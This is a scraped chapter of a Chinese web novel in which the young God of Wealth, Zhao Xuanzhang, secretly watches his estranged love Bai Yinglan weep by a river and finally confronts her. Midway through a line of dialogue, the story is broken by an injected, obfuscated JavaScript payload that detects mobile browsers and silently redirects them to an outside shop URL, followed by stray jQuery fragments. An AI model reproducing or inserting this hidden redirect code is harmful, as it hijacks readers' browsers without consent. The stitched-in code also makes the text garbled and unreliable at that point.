文趣网 > 其他小说 > 财神他总想让我吐钱 > 51. 窥影垂泪
    他感觉喉咙开始发紧,“那女子,来过这里多少次?”

    涟川道:“不下五次了。”

    赵玄章明明双脚稳稳站在地上,身子却莫名生出一种摇摇欲坠的虚浮感。

    仿佛有看不见的潮水翻涌而起,一浪接着一浪,排山倒海地朝他扑过来,一下下震荡着他。

    心口是炙热的,四肢却泛着一层凉意,冷热交织,搅得他心神震颤。

    他稳住气息,声音略有些发紧:“她是不是,头上总插着一支玉簪?”

    涟川皱起眉回想片刻,摇了摇头:“这个倒没太留意。”

    “那她是不是,常穿浅色的衣裳?”

    “对对对!”

    “她是不是……总一身铜钱味?”

    “少财神,你这可就为难我了,难不成我还凑到人家跟前去闻一闻?”

    涟川心底还暗自腹诽,要说铜臭味,谁能比得上你这位财神。只是这话他万万不敢宣之于口,只敢悄悄在心里转一圈。

    赵玄章没有理会他的小动作,喉结轻轻滚动了一下:“她上一次来,是什么时候?”

    “她昨——”

    涟川刚要开口,目光无意扫过赵玄章的眼底,后面的话一下子卡在喉咙里。

    视野中,赵玄章眼底的泪呼之欲出。

    赵玄章被盯得颇不自在,微微侧过身,避开涟川的视线,飞快眨了眨眼,想把那层快要漫出来的湿意压回去。

    涟川语气带着几分戏谑道:“没想到少财神也如此多愁善感……”

    “河边风大。”赵玄章低声搪塞。

    风大?

    涟川心里悄悄犯起嘀咕。

    哪里来的大风。

    不过他很识趣,不会去拆破少财神的借口。

    “那女子,昨天来过。”

    “那我今晚在这里等她。”赵玄章平静地说道。

    涟川一听,脸上顿时眉开眼笑,连连赞叹:“好!太好了!少财神办事果然干脆利落!”

    “你回去歇息便可,有我在这里。”

    “这怎么好劳烦少财神守在这里?”

    “你在旁边,我反倒不方便。”

    “那行!多谢少财神!”

    涟川痛快地躬身一礼,身形一晃,悄无声息地退回庙中,消失不见。

    四周一下子安静下来。

    天地间只剩下河水缓缓流淌的细碎声响。

    一阵微风恰好从河面拂来,轻轻擦过赵玄章的脸颊,带着河水潮湿微凉的气息。

    他慢慢合上双眼,一声轻叹无声散在风里。

    璎婪。

    那个常常独自坐在河边流泪的女子,真的会是你吗?

    赵玄章寻了一处树影浓密、不惹人注目的地方,静静打坐等候。

    时间一点点淌过,河畔只有流水潺潺。就在细碎的脚步声顺着夜风飘进耳朵的那一瞬,他倏地睁开眼。

    心脏正砰砰剧烈跳动着。

    这份悸动,竟像回到从前,他的第一次心动。

    远远望见心上人的那刻,狂喜混着忐忑一齐涌上心头。

    他轻轻侧过身子,紧贴粗糙的树干,只谨慎地从树后露出半只眼睛,偷偷往外望。

    月光淡薄,河面浮着一层薄薄的夜雾。

    一个女子屈膝蹲坐在河边,对着静静流淌的河水,呆坐了许久。而后她伸手,从腰间系着的布小袋里摸出鱼饵。

    纤细白皙的手腕轻轻一扬,细碎的饵粒簌簌落入水里,在水面砸开一圈圈细碎的涟漪。

    月色昏蒙,人影看不真切。赵玄章不由自主地悄悄往前挪了两步,想要看得清楚一点。

    一缕清浅的月光恰好穿过枝叶,落在女子清秀白皙的侧脸上。

    赵玄章的呼吸猛地一顿。

    真的是白璎婪。

    只是她看着清瘦了好多。

    远远望去,那一副身子单薄得过分,肩头窄窄的,仿佛一阵河风,便能把她整个人吹得摇摇欲坠。

    白璎婪安静地望着河面,不知是哪一段往事漫上心头,她忽然低下头,双手捂住脸,肩膀微微耸动,低低地啜泣起来。

    赵玄章站在暗处,心跟着揪紧。

    他多想一步冲出去,走到她身边,可是他的脚像钉在了泥土里。他不敢贸然上前,只能藏在阴影里,一动不动。

    就在这时,白璎婪似是察觉到一道落在自己身上的视线。她神色微凛,警觉地抬起眼,目光飞快扫过河滩四周。

    就在两道视线快要撞上的刹那,赵玄章身形一闪,迅速退进深黑的树影之中,后背死死抵着树干,胸腔剧烈起伏,大口地喘着气。

    好险。

    差一点,就被她看见了。

    巨大的喜悦与酸涩交织心间,赵玄章闭紧双眼,后脑勺贴着粗糙的树皮。

    一滴清泪顺着面颊无声滑落。

    下一刻,隐忍许久的情绪骤然崩开,更多泪水不受控制地淌了下来。

    他心里又悲又喜。

    璎婪心里分明还有他,分明还有放不下的东西。可她宁可一个人在这里偷偷难过,也不肯来找他。

    挂在他颈间的项链轻轻一动。

    金宝本来在法宝里面打盹,忽然察觉到一阵微微的震颤,还以为是地动,慌忙从项链当中探出头。

    一抬眼,正看见自家少主背靠着大树,哭得梨花带雨。

    “少主,那真的是招招,你怎么不过去?”

    赵玄章的声音压得很低,带着呜咽,断断续续:“我怕……我怕我一上前,又把她……把她吓跑了。”

    “唉!”

    金宝仰头长长叹了一口气。

    “少主,你现在只管大步走过去,让璎婪看一看你这副模样,保管她感动得不行!”

    “那我的面子,往哪里搁?”赵玄章抬起手臂,用宽大的袍袖胡乱抹了一把脸上的泪痕。

    “少主啊,有些时候,面子也没那么重要。再说了,这些日子,你在我和金铃跟前掉的眼泪,还算少吗?”

    碍于颜面,赵玄章一下子闭紧了嘴,哭声戛然而止,只是有泪珠依旧悬在睫毛上。

    金宝趁热打铁,催促道:“少主快去吧!”

    “我不去。”

    见赵玄章忽然倔强起来,金宝一懵:“这又是为什么?你火急火燎下凡,不就是为了找到璎婪吗?”

    “是她不要我了。”赵玄章的声音闷闷的,带着满腔委屈,“你看她,离开我之后,宁可一个人在这里伤心,也不愿意回到我身边。”

    金宝急得几乎要跳起来:“那是因为她回不去天庭啊!!”

    “她那么聪明,在凡间一样可以好好过。况且……”赵玄章说着偷瞥了眼白璎婪所在的方向,“她哭,也未必是因为我。”

    “少主,你怎么像个小孩儿似的,现在是闹别扭的时候吗?你只需要再往前迈出一步而已!”

    ……

    赵玄章终究没有被金宝劝动,却硬是在涟川的庙宇里滞留了整整三日。

    这般守株待兔的做法,看得涟川满心诧异,他还不如直接拎起扫帚,把这扰人的女子一并赶跑了事。

    这三天里,赵玄章日日都能望见白璎婪的身影,而他始终隐匿在暗处,迟迟不肯现身。

    第一日。

    小风寻到河边,苦口婆心劝白璎婪随她回去,却被她婉言回绝。小风离去之后,白璎婪坐在河畔掩面落泪。树影后的赵玄章望着那抹单薄的背影,牙根紧咬,狠下心告诉自己,就当视而不见,任由她独自神伤。

    第二日。

    白璎婪依旧是来到同一地方,满面愁绪默默垂泪。赵玄章悄悄将藏身之处挪得更近些,目光死死落在她手中攥着的那块布料,一心想要看清上面绣着的究竟是何等图样。

    第三日。

    这一回,白璎婪是午后过来的。

    赵玄章正在庙中闭目小憩,金宝焦急的声音接连不断地将他唤醒。

    “少主,璎婪来了!”

    赵玄章骤然睁眼,猛地站起身,快步走到庙窗前,遥遥望向远方。

    今日的白璎婪较之往日冷静了些,可那副失魂落魄的模样,依旧狠狠刺进赵玄章的眼底。

    他双唇紧抿成一条直线,喉结不住滚动。片刻之后,心中的迟疑消散无踪,他豁然甩动衣袖,一股劲风随他而动,径直朝白璎婪所在的方向掠去。

    白璎婪正坐在树下的木凳上出神,回过神打算起身离开,刚一转身,便看见赵玄章就立在自己眼前。

    她怔在原地,惊愕得一句话都说不出来。

    赵玄章垂眸盯着她,一言不发,最后还是白璎婪先开口:“你怎么在这?”

    “我刚来,在附近散步。”赵玄章脱口而出,掩饰得略显拙劣。

    “我也刚来,先走了。”

    赵玄章上前一小步,横身挡在她的去路,“五日之中有三日都来此地,你这叫刚来?”

    “你跟踪我?”白璎婪抬眼,眉头轻轻蹙起。

    “不过是碰巧撞见你在此

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17893173|202454||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    处罢了。”

    “知道了。”

    看她这副避之不及的模样,赵玄章心底涌上一股闷堵的火气,对着她的背影高声开口:“你又能往何处去?”

    这话听来格外刺耳,白璎婪心中不服,也扬声回怼:“天大地大,总有我的安身之处,你少瞧不起人!”

    见她此刻像只炸毛的野猫,赵玄章的语气瞬间软了下来,伸手想去牵她的手,语气里满是求和与讨好。

    “……璎婪,我没有瞧不起你。”

    白璎婪眼神带着警告:“放开我。”

    “我不放。”

    赵玄章手上微微用力,轻轻将她往自己的方向一带。白璎婪脚下一个踉跄,猝不及防跌进他的怀抱。

    周遭的空气弥漫着无声的抗拒,本该奋力挣脱的她,却被鼻尖萦绕的那股熟悉气息吸引了去。

    那独属于赵玄章的味道,一如往昔,让她心底生出难以克制的贪恋。

    赵玄章将她抱得更紧。

    “璎婪,我全都看见了,也全都听见了。你何必自欺欺人?你心里分明还放不下我,那就不要离开我。如今世间无人知晓你的貔貅身份,我们可以重新开始。”

    “重新开始?简直可笑。”白璎婪难以置信,奋力挣开他的怀抱,“你还不明白?你是高高在上的少财神,能承受旁人的闲言碎语吗?你不能,我也没有资格同你并肩而行。”

    赵玄章心底泛起愠怒:“相守的是我们二人,为何要在意旁人眼光!”

    “你少骗人!你心里根本就十分在意!”

    “我如今,已经毫不在意!”

    二人面对面僵持而立,望向彼此的目光,似是想要将对方深深揉进骨血之中。

    “璎婪……”

    赵玄章眼眶泛红,趁着喘息的间隙,又接着道,“你为何不肯敞开心扉,再好好看一看现在的我?”

    白璎婪的眼眶慢慢湿润,一层薄雾乍起,几乎蒙住双眸。

    她无数次在心底叩问自己,是否能适应完全没有赵玄章的日子。

    起初她以为,这毫无疑问是个肯定的答案。

    然而,思念积攒到临界点的时候,身体总会诚实地做出反应。

    可她绝不能重蹈过往的覆辙。

    她和赵玄章,本就不会有圆满的结局,又何苦继续纠缠。

    长痛不如短痛。

    她心里暗暗想着,只要时间足够,悲伤总会慢慢消散。

    或许一切只是时间问题。

    “我不喜欢你了。”白璎婪垂眸。

    赵玄章低吼一声:“你撒谎!”

    白璎婪强定心神,换了一副淡漠疏离的口吻:“少财神,你也该往前看。凡间有句话说,不要吊死在一棵树上。”

    赵玄章浑身一震,心痛如绞,不住地摇头。

    “万幸我如今成了凡人,尚且拥有选择的余地。我定会寻一个比你好看、比你好上万倍的人共度余生。”

    “你也……”白璎婪强压鼻尖的酸涩,“你也可以这么做。”

    她不忍看赵玄章的表情,自顾自往下说:“我打听过了,以我的容貌及年岁,在凡间可是很抢手的。”

    这番话如同千军万马,狠狠碾过赵玄章的心房。他满心苦涩不停摇头,不肯就此放手。

    赵玄章学着她,也换了另一种口吻。

    “抢手?”

    赵玄章语气带着一丝嘲讽,低低呵了一声。

    他骤然伸手,一把夺过白璎婪藏在身后的那一小块布料,举到眼前,厉声质问:“那这是什么?倘若你心中早已没有我,为何要留着我的画像?莫非是睹物思人?”

    白璎婪大惊失色:“这不是你,还给我!”

    那方绣布之上,绣着一只小白猫,一个小人,还有一枚硕大的元宝。

    赵玄章唇角微微勾起,眼底却藏着酸涩:“这般宝贝,还是亲手刺绣的!”

    “快还给我!”

    白璎婪踮起脚拼命去抢,可无论怎么蹦跳,都够不到赵玄章高高举起的手。跳着跳着,她忽然僵住,双手无力垂落,缓缓蹲下身,将脸埋进膝头,肩膀剧烈颤抖,忍不住失声痛哭。

    “呜呜……赵玄章……大坏蛋……”

    这一声呜咽,击溃了赵玄章所有的倔强。

    他如同闯了祸的孩童,跟着蹲下身,伸出手臂轻轻揽住她的肩头,声音放得无比柔软,一遍遍地哄劝。

    “好好好,是我不好,我是大坏蛋。对不起,璎婪,真的对不起……”